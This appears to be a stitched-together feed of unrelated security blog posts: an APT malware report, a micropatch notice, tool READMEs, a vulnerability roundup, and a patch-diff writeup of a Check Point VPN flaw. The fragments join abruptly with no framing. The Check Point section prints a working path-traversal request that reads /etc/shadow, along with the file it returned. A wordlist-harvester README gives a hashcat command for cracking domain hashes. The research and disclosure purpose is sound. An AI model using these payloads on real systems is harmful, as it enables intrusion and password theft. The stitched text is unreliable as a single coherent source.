In general, I find .NET XXE-protection settings way trickier than the ones that you can define in various Java parsers. This is because you can apply them to objects of different types (here: XmlReaderSettings versus XmlTextReader). When XmlTextReader prohibits the DTD usage, parameter entities seem to never be resolved, even with the resolver specified (that’s how this patch works). On the other hand, when XmlReaderSettings prohibits DTDs, parameter entities are resolved when the XmlUrlResolver is used. You can easily get confused here.

Summary

A lot of us thought that XXE vulnerabilities were almost dead in .NET. Still, it seems that you may sometimes spot some tricky implementations and corner cases that may turn out to be vulnerable. A careful review of .NET XXE-related settings is not an easy task (they are tricky) but may eventually be worth a shot.

I hope you liked this writeup. I have a huge line of upcoming blog posts, but vulnerabilities are waiting for the patches (including one more SharePoint vulnerability). Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

We have just released a micropatch for CVE-2023-36047, a local privilege escalation vulnerability found by Filip Dragović in the way Windows handle files when a user changes their account picture. Filip discovered that on Windows 11, when you change your account picture, this picture is copied to a destination folder by a privileged process (the "User Manager" service). Since this folder is under user's control, they can set up symbolic links to "redirect" the copying to an arbitrary location. This allowed a local unprivileged attacker to copy a malicious DLL to a folder like C:\Windows\System32, where they would normally not be able to create files.

Adding a malicious DLL file to a system folder can lead to execution of attacker's code with the identity of Local System.

Filip published a POC for this issue, which allowed us to create a micropatch.  

Our Micropatch

We patched this issue in the same way Microsoft did, by impersonating the calling user instead of allowing to execute the copy operation as Local System. Note that Microsoft's fix is somewhat broken  as changing one's profile picture now results in an error being displayed to the user. Our patch reproduces this behavior as well.

Let's see our patch in action.

With 0patch disabled, running Filip's POC and changing account picture to a new image (which is actually a DLL file) results in such DLL being created in C:\Windows.

With 0patch enabled, however, doing the same results in an "Account picture error" (which also happens on patched Windows 11) and no DLL created in C:\Windows.

Micropatch Availability

Micropatch was only written for Windows 11 v21H2 with all available Windows Updates installed. Even though Microsoft's advisory lists many Windows versions as affected, including some that we have security-adopted, we were unable to reproduce this on these versions. Namely, the entire process of changing the account picture works differently there, and even on Windows 11 v21H2 it works differently than on newer Windows 11 versions. The latter is also the reason why CVE-2024-21447, another vulnerability discovered by Filip in the same code, does not affect Windows 11 v21H2.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank Filip Dragović for sharing their analysis and POC, which made it possible for us to create a micropatch for this issue.

By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White. 

• Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
• LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
• This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
• This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
• The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

LilacSquid – An espionage-motivated threat actor 

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

LilacSquid’s infection chains 

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

Instrumenting InkLoader – Modularizing the infection chain 

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= _filepath_of_InkLoader_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

PurpleInk – LilacSquid's bespoke implant 

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

• Enumerate the process and send the process ID, name and associated Window Title to the C2. 
• Terminate a process ID (PID) specified by the C2 on the infected host. 
• Run a new application on the host – start process. 
• Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
• Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
• Read a file specified by the C2 and exfiltrate its contents. 
• Replace or append content to a specified file. 

• Gather system information about the infected host using WMI queries. Information includes:  

• Start a remote shell on the infected host using ‘ cmd[.]exe /K ’. 
• Rename or move directories and files and then enumerate them. 
• Delete files and directories specified by the C2. 
• Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

• Connect to a new friend whose remote address is specified by the C2. 
• Send data to a new or existing friend. 
• Disconnect from a specified friend. 
• Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

• Close all connections to proxy servers. 
• Create a reverse shell.  
• Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

InkBox – Custom loader observed in older attacks 

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

LilacSquid employs MeshAgent 

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name_of_mesh- 
MeshType=-Type_of_mesh- 
MeshID=0x-Mesh_ID_hex- 
ServerID=-Server_ID_hex- 
MeshServer=wss://-Mesh_C2_Address-
Translation=-keywords_translation_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

• List all devices in the Mesh (list of victims). 
• View and control desktop. 
• Manage files on the system. 
• View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

IOCs

IOCs for this research can also be found at our GitHub repository here. 

PurpleInk 

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

Network IOCs 

67[.]213[.]221[.]6 

192[.]145[.]127[.]190 

45[.]9[.]251[.]14 

199[.]229[.]250[.]142 

Install

To install headerpwn, run the following command:

go install github.com/devanshbatham/[email protected]

Usage

headerpwn allows you to test various headers on a target URL and analyze the responses. Here's how to use the tool:

1. Provide the target URL using the -url flag.
2. Create a file containing the headers you want to test, one header per line. Use the -headers flag to specify the path to this file.

Example usage:

headerpwn -url https://example.com -headers my_headers.txt

• Format of my_headers.txt should be like below:

Proxy-Authenticate: foobar
Proxy-Authentication-Required: foobar
Proxy-Authorization: foobar
Proxy-Connection: foobar
Proxy-Host: foobar
Proxy-Http: foobar

Proxying requests through Burp Suite:

Follow following steps to proxy requests through Burp Suite:

• Export Burp's Certificate:

  • In Burp Suite, go to the "Proxy" tab.
  • Under the "Proxy Listeners" section, select the listener that is configured for 127.0.0.1:8080
  • Click on the "Import/ Export CA Certificate" button.
  • In the certificate window, click "Export Certificate" and save the certificate file (e.g., burp.der).

• Install Burp's Certificate:

  • Install the exported certificate as a trusted certificate on your system. How you do this depends on your operating system.
  • On Windows, you can double-click the .cer file and follow the prompts to install it in the "Trusted Root Certification Authorities" store.
  • On macOS, you can double-click the .cer file and add it to the "Keychain Access" application in the "System" keychain.
  • On Linux, you might need to copy the certificate to a trusted certificate location and configure your system to trust it.

You should be all set:

headerpwn -url https://example.com -headers my_headers.txt -proxy 127.0.0.1:8080

Credits

The headers.txt file is compiled from various sources, including the SecLists">Seclists project. These headers are used for testing purposes and provide a variety of scenarios for analyzing how servers respond to different headers.

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-05-13 to 2024-05-29.

Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze.

Check Point, for those unaware, is the vendor responsible for the 'CloudGuard Network Security' appliance, yet another device claiming to be secure and hardened. Their slogan - "you deserve the best security" - implies a level of security that can be relied upon on in their products.

We thought we'd take a look inside their appliance, and we recently got a great opportunity to do so, in the shape of CVE-2024-24919. This is a 'high' priority bug, which (according to the CVE itself) falls under the category of Exposure of Sensitive Information to an Unauthorized Actor. Check Point advise that the bug is under active exploitation, and give the following summary (among other advice):

The vulnerability potentially allows an attacker to read certain information on Gateways once connected to the Internet and enabled with Remote Access VPN or Mobile Access.

No bug class here, just a very vague and hand-wavey description. We wondered exactly what 'certain information' meant, in this context - does it mean we can read session tokens? Or the configuration of the device? Password hashes? (spoiler: it's actually much worse than this). There wasn't much information floating around the Internet about the bug, so we set out to find out just how bad it is, so that we could share details with device administrators who need to make that all-important patch-or-no-patch decision.

Patch-Diffing time

This bug seems like a prime candidate for patch-diffing, in which the vulnerable and the patched systems are compared to reveal details about the patch itself, and thus the bug.

As ever, the first hurdle in this is obtaining the patched version of the software. While the patches linked from the advisory are locked behind a login form, we found the appliance itself would fetch patches without any credentials, and so we duly installed the patch and cataloged the resultant files, in order to compare each and every file with its pre-patch brethren.

We didn’t need to go to such lengths, though, as examining the appliance filesystem, we soon found the .tgz file containing the update itself inside a temporary directory. Great! Popping it open, we found a load of boring installation scripts, and a promising-sounding file named sslvpn.full , an ELF binary. At least we don’t need to stare at brain-numbing PHP code this time - it’s a binary file so we get to look at lovely x86 disassembly instead. Yummy.

$ find -exec file {} \\;
...
./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped
...

We duly threw the vulnerable and patched versions of the file into IDA, and used Diaphora to observe the differences. Right away, something stood out to us (vulnerable code is on the left, patched on the right):

Hurm, interesting - new code has been added, which is logging the string “Suspected path traversal attack from”. It seems a pretty safe bet that the bug is actually a path traversal.

Poking around in the code, we can see that a new logging function has been added, named send_path_traversal_alert_log , and if we look just a little bit deeper, we also find the new function sanitize_filename , which calls the new logging function. If we look at what references sanitize_filename itself, we are presented with a single caller - a large function that has the autogenerated name sub_80F09E0. If we search again for references to this large function, our persistence is rewarded, as we find it is passed to the function cpHttpSvc_register_query along with the HTTP path /clients/MyCRL, strongly implying it is the handler for this endpoint.

This is great - we’re only a few minutes into our analysis, and already we’ve discovered some vital clues! Firstly, we are pretty sure we’re looking for a path traversal bug, and secondly, we’ve got a strong suspicion that it affects the endpoint /clients/MyCRL.

A little investigation reveals that this endpoint is designed to serve static files from a location on the filesystem. The files can be specified via the URI itself, in the form of /clients/MyCRL/file_to_get, or via the POST body. We experimented with this somewhat, and found some interesting-but-useless weirdness in the server - adding certain control characters into the URL (such as /clients/MyCRL/test%0Atest) would hang the request, and the error handling that detected escaped NULL bytes seemed questionable, too, as parts of the request servicing code would be executed despite dire warnings generated in the log. Nothing we tried in the URL path generated anything that looked like a controlled file read, though.

Attempting to add path traversal elements such as .. in the URL bore no fruit, as the webserver would handle them correctly - but what about the POST body? That is exempt from the webserver's path handling code. We tried adding the usual ../../etc/passwd payload , but were soon met with disappointment, as all we received was a measly 404. The server logs showed that the appliance was indeed refusing to serve our path:

[vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May  3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd

No good! How do we work out what’s happening, and elevate ourselves beyond blind guesses? Why, by taking a look at that big sub_80F09E0 , of course!

Understanding the decompiled code

The large handler function may seem daunting, but it is actually pretty straightforward. Switching to the vulnerable version of the code, we can see from a quick skim that it performs file I/O, given away by the telltale references to _fopen and _fread - this is undoubtedly the place to find our bug. But what is it doing?

It is slightly difficult to see what the code is doing because of the unusual way that it references string resources, which IDA doesn’t pick up. Take a look at the following code snippet:

What’s happening here? Well, the code is comparing something (the URL the user requested) with a number of hardcoded strings, located in a string table. IDA doesn’t know where the string table is, but GDB can tell us at runtime - it turns out to be here:

Easy enough - the code is checking if the user is requesting any of the files in the list, and will only permit the download if it matches. But there’s a ‘bug’ in this code. Can you spot it?

That’s right! The bug isn’t anything complex or involved, it lies in the developer’s use of the strstr function. This function, as C gurus will know, doesn’t compare two strings outright, but searches one string for another string. This immediately got the gears turning in our head - can we abuse this sloppy matching to traverse, simply by requesting a relative path that includes one of the strings from the table? As long as one of the strings is present inside the path, the check will pass and the file will be served.

Well, it turns out we can’t. We can supply paths such as icsweb.cab/../../etc/passwd, but the OS isn’t dumb, and will fail to find the file, complaining that icsweb.cab is a file, and not a directory. We’re close, though - I can almost taste it! Let’s keep looking at that code.

Here’s a very similar chunk of code, found just underneath the first. Again, we’re iterating a string table, and comparing with the requested URL. Again, we pull out GDB, and take a look at the string table it is using:

Short but sweet. We got very excited when we saw this entry - can you see why?

Yes, exactly! Because of the slash at the end of the string. That suggests that this entry isn’t a file, but a directory, which would mean we can traverse into it and then back out via the venerable .. . As long as we have the string CSHELL/ somewhere in the requested file, the request will be accepted, right?

Well, we tried, and with bated breath submitted the following request:

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

We were rewarded with the contents of requested file.

HTTP/1.0 200 OK
Date: Thu, 30 May 2024 01:38:29 GMT
Server: Check Point SVN foundation
Content-Type: text/html
X-UA-Compatible: IE=EmulateIE7
Connection: close
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 505

admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::
monitor:*:19872:0:99999:8:::
root:*:19872:0:99999:7:::
nobody:*:19872:0:99999:7:::
postfix:*:19872:0:99999:7:::
rpm:!!:19872:0:99999:7:::
shutdown:*:19872:0:99999:7:::
pcap:!!:19872:0:99999:7:::
halt:*:19872:0:99999:7:::
cp_postgres:*:19872:0:99999:7:::
cpep_user:*:19872:0:99999:7:::
vcsa:!!:19872:0:99999:7:::
_nonlocl:*:19872:0:99999:7:::
sshd:*:19872:0:99999:7:::

There we go! A path traversal leading to an arbitrary file read! Since we are able to read such a critical file - the shadow password file - we must be running as the superuser, and able to read anything on the filesystem we choose.

Wait, what?!

At this point, we were somewhat confused. What we’d found is an arbitrary file read, allowing us to read any file on the system. This is much more powerful than the vendor advisory seems to imply.

We rushed to patch our box, and confirm that we had indeed found CVE-2024-24919, and not some other bug, and were mildly surprised that, yes, this is CVE-2024-24919, and yes, it is an arbitrary file read.

Interestingly, the vendor states that the issue only affects devices with username-and-password authentication enabled, and not with the (much stronger) certificate authentication enabled. Looking at the code, we can’t see any obvious reason for this, and we do wonder if a user who has a valid certificate can exploit the issue even when password authentication is disabled.

We were also somewhat amused by the vendor’s remediation advice, which includes this gem:

To prevent attempt to exploit this vulnerability, you must protect the vulnerable Remote Access gateway behind a Security Gateway with both IPS and SSL Inspection enabled.

Obvious grammar errors aside, the advice to place your hardened border gateway device behind another hardened border gateway device gave us a chuckle.

Conclusions

That bug wasn't too difficult to find, and was extremely easy to exploit once we’d located it (full exploitation is left as an exercise for the reader - we wouldn’t want to take all the fun out of the bug).

We’re a little concerned by the vendor’s statement, though - it seems to downplay the severity of this bug. Since the bug is already being used in the wild, by real attackers, it seems dangerous for the bug to be treated as anything less than a full unauthenticated RCE, with device administrators urged to update as soon as humanely possible. They state:

The vulnerability potentially allows an attacker to access information on Gateways connected to the Internet

This is quite a confusing statement, given that Internet connectivity is not a requirement. The words 'access information' are doing some seriously heavy lifting here, as while they may be technically correct, in the most pedantic sense of the word, they minimize what is, in all reality, a very serious bug which should be treated as 'world ending' (at least, by those administrators who do not have a second Check Point device protecting their actual Check Point device).

The vendor, Check Point, have released ‘hotfix’ for the bug, which administrators are instructed to apply if they are affected (refer to the vendor advisory for details).

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Cisco Talos is preparing to release the first in a series of changes to our Web Categorization system, which is designed to simplify the verbiage we use. 

In mid-June, we're adding a new “Generative AI” category that will apply to certain websites. The “Content Category” appears whenever a user searches for a domain on the TalosIntelligence.com Reputation Center.  

Generative AI applies to any site “whose primary purpose is to use artificial intelligence models to generate output in the form of text, audio, video or images based on user-supplied prompts.” This does not include “technologies which tangentially use generative AI as part of their service.” 

We are also renaming “DOT & DOH” to “Encrypted DNS” to better reflect what this category includes.  

Prior to these updates, we recommend revisiting your acceptable use and security policies to see if these changes may affect your current operations. 

As we evolve to better understand data, threats, and user behavior, we will continue to improve our intelligence, providing you the ability to make more informed decisions to keep your network safe without becoming prohibitive to your users. Please stay tuned for additional planned changes to our Content Categories in the coming weeks and months. 

For detailed information on the current Content and Threat Categories, please visit the Intelligence and Threat Categories page. 

The Generative AI category will be available in a future release of Meraki, Secure Access and Umbrella.  

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software.

Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application.

There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments.

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.

Out-of-bounds read vulnerabilities in Adobe Acrobat

Discovered by KPC.

Adobe Acrobat Reader contains two out-of-bounds read vulnerabilities in its Font feature that could lead to the disclosure of sensitive information.

TALOS-2024-1946 (CVE-2024-30311) and TALOS-2024-1952 (CVE-2024-30312) are triggered if the targeted user opens an attacker-created PDF that contains a specially embedded font.

An adversary could exploit these vulnerabilities to read arbitrary memory of the process that runs when Acrobat tries to process the font. It’s possible the adversary could even view sensitive components of arbitrary memory, which they could use in follow-on attacks or the exploitation of other vulnerabilities.

TALOS-2024-1952 is the same exploit as outlined in TALOS-2023-1905, a previously disclosed vulnerability, because Adobe’s initial patch did not properly protect against all possible attack vectors.

Privilege escalation vulnerability in Foxit PDF Reader

Discovered by KPC.

Foxit PDF Reader contains a privilege escalation vulnerability that could allow an adversary to execute commands with SYSTEM-level privileges. Foxit PDF Reader is one of the most popular alternatives to Acrobat Reader available. It also supports the embedding of JavaScript, which is another possible attack vector for adversaries.

TALOS-2024-1989 (CVE-2024-29072) occurs because of improper certification of the updater executable before executing it. A low-privilege user can trigger the update action, which can result in the unexpected elevation of privilege to the SYSTEM level.

Multiple vulnerabilities in popular image-processing library

Discovered by Carl Hurd and Philippe Laulheret.

Talos recently discovered multiple vulnerabilities in libigl, a C++ open-source library used to process geometric shapes and designs. It is commonly used in various industries, from video game development to 3-D printing.

Two out-of-bounds write vulnerabilities, TALOS-2023-1879 (CVE-2023-49600) and TALOS-2024-1930 (CVE-2024-22181), could lead to a heap buffer overflow. An attacker could exploit these vulnerabilities by tricking the targeted user into opening a specially crafted file.

TALOS-2024-1928 (CVE-2024-24584 and CVE-2024-24583) can be exploited in a similar manner, but in this case, leads to an out-of-bounds read.

Two other vulnerabilities, TALOS-2024-1929 (CVE-2024-24684, CVE-2024-24685 and CVE-2024-24686) and TALOS-2023-1784 (CVE-2023-35949, CVE-2023-35952, CVE-2023-35950, CVE-2023-35953, CVE-2023-35951), can cause heap-based buffer overflow issues if the adversary supplies a specially crafted .off file. .OFF files are commonly used to share 2-D and 3-D images.

Lastly, there is another out-of-bounds write vulnerability that is caused by an improper array index validation. TALOS-2024-1926 (CVE-2024-23951, CVE-2024-23950, CVE-2024-23949, CVE-2024-23947 and CVE-2024-23948) can be triggered by a specially crafted .msh file.

Remote Code Execution vulnerabilities and more in AutomationDirect CPU

Discovered by Matt Wiseman.

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET.

Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable.

TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device.

TALOS-2024-1940 (CVE-2024-22187) and TALOS-2024-1941 (CVE-2024-23315) are both Write-What-Where vulnerabilities that may be triggered if an adversary sends a specially crafted packet to the targeted machine. An adversary who submits a series of properly formatted requests to exploit this vulnerability could modify arbitrary memory regions on the device, potentially resulting in arbitrary remote code execution.

A heap-based buffer vulnerability, TALOS-2024-1936 (CVE-2024-24851), also exists if an adversary sends a specially crafted packet to the targeted device. In this case, the adversary could cause the device to crash due to memory access violations.

Similarly, TALOS-2024-1937 (CVE-2024-24947 and CVE-2024-24946) can also crash the device by exploiting two different functions on the device which are vulnerable to heap-based buffer overflows.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also released an advisory covering these vulnerabilities, as the P3 line is commonly used in U.S. critical infrastructure and ICS networks. CISA provided users with a list of possible mitigations for these vulnerabilities and other steps administrators can take to protect ICS environments. The agency also stated that organizations in the commercial facilities, critical manufacturing and information technology sectors could be affected.

A tool to generate a wordlist from the information present in LDAP, in order to crack non-random passwords of domain accounts.

Features

The bigger the domain is, the better the wordlist will be.

• [x] Creates a wordlist based on the following information found in the LDAP:
• [x] User: name and sAMAccountName
• [x] Computer: name and sAMAccountName
• [x] Groups: name
• [x] Organizational Units: name
• [x] Active Directory Sites: name and descriptions
• [x] All LDAP objects: descriptions
• [x] Choose wordlist output file name with option --outputfile

Demonstration

To generate a wordlist from the LDAP of the domain domain.local you can use this command:

./LDAPWordlistHarvester.py -d 'domain.local' -u 'Administrator' -p 'P@ssw0rd123!' --dc-ip 192.168.1.101

You will get the following output if using the Python version:

You will get the following output if using the Powershell version:

Cracking passwords

Once you have this wordlist, you should crack your NTDS using hashcat, --loopback and the rule clem9669_large.rule.

./hashcat --hash-type 1000 --potfile-path ./client.potfile ./client.ntds ./wordlist.txt --rules ./clem9669_large.rule --loopback

Usage

$ ./LDAPWordlistHarvester.py -h
LDAPWordlistHarvester.py v1.1 - by @podalirius_

usage: LDAPWordlistHarvester.py [-h] [-v] [-o OUTPUTFILE] --dc-ip ip address [-d DOMAIN] [-u USER] [--ldaps] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]

options:
  -h, --help            show this help message and exit
  -v, --verbose         Verbose mode. (default: False)
  -o OUTPUTFILE, --outputfile OUTPUTFILE
                        Path to output file of wordlist.

Authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with
  --ldaps               Use LDAPS instead of LDAP

Credentials:
  --no-   pass             Don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        Password to authenticate with
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line

WordPress : From vulnerability identification to compromising

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

